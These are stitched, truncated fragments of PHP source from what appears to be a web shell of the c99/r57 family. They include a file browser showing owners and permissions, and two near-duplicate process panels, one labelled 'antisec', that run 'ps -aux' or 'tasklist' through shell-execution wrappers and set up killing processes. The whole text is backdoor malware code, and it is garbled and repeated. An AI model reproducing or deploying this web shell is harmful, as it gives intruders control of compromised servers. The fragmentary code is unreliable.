$objects["folders"][] = $row; } elseif (is_file($v)) { $objects["files"][] = $row; } $i++; } $row = array(); $row[] = "<b>Name</b>"; $row[] = "<b>Size</b>"; $row[] = "<b>Modify</b>"; if (!$win) { $row[] = "<b>Owner/Group</b>"; } $row[] = "<b>Perms</b>"; $row[] = "<b>Action</b>"; $parsesort = parsesort($sort); $sort = $parsesort[0] . $parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != "a") { $parsesort[1] = "d"; } $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $k . ($parsesort[1] == "a" ? "d" : "a") . "\">"; $y .= "<img src=\"" . $surl . "act=img&img=sort_" . ($sort[1] == "a" ? "asc" : "desc") . "\" height=\"9\" width=\"14\" alt=\"" . ($parsesort[1] == "a" ? "Asc." : "Desc") . "\" border=\"0\"></a>"; $row[$k] .= $y; for ($i = 0; $i < count($row) - 1; $i++) { if ($i != $k) { $row[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $i . $parsesort[1] . "\">" . $row[$i] . "</a>"; } } $v = $parsesort[0]; usort($objects["folders"], "tabsort");
} if ($act == "processes") { echo "<b>Processes:</b><br>"; if (!$win) { $handler = "ps -aux" . ($grep ? " | grep '" . addslashes($grep) . "'" : ""); } else { $handler = "tasklist"; } $ret = myshellexec($handler); if (!$ret) { echo "Can't execute \"" . $handler . "\"!"; } else { if (empty($processes_sort)) { $processes_sort = $sort_default; } $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) { $parsesort[0] = 0; } $k = $parsesort[0]; if ($parsesort[1] != "a") { $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\">[sort_desc]</a>"; } else { $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\">[sort_asc]</a>"; } $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) { $sig = 9; }
} if ($antisec == "processes") { echo "<div class=barheader>.: Processes :.</div>"; if (!$win) { $handler = "ps -aux" . ($grep ? " | grep '" . addslashes($grep) . "'" : ""); } else { $handler = "tasklist"; } $ret = s3x3c($handler); if (!$ret) { echo "Can't execute \"" . $handler . "\"!"; } else { if (empty($porocesses_sort)) { $porocesses_sort = $sort_default; } $poarsesort = parsesort($porocesses_sort); if (!is_numeric($poarsesort[0])) { $poarsesort[0] = 0; } $k = $poarsesort[0]; if ($poarsesort[1] != "a") { $y = "<a href=\"" . $surl . "antisec=" . $dsantisec . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "antisec=img&img=sort_desc\" border=\"0\"></a>"; } else { $y = "<a href=\"" . $surl . "antisec=" . $dsantisec . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "antisec=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>"; } $ret = htmlspecialchars($ret); if (!$win) { if ($poid) { if (is_null($sig)) { $sig = 9; }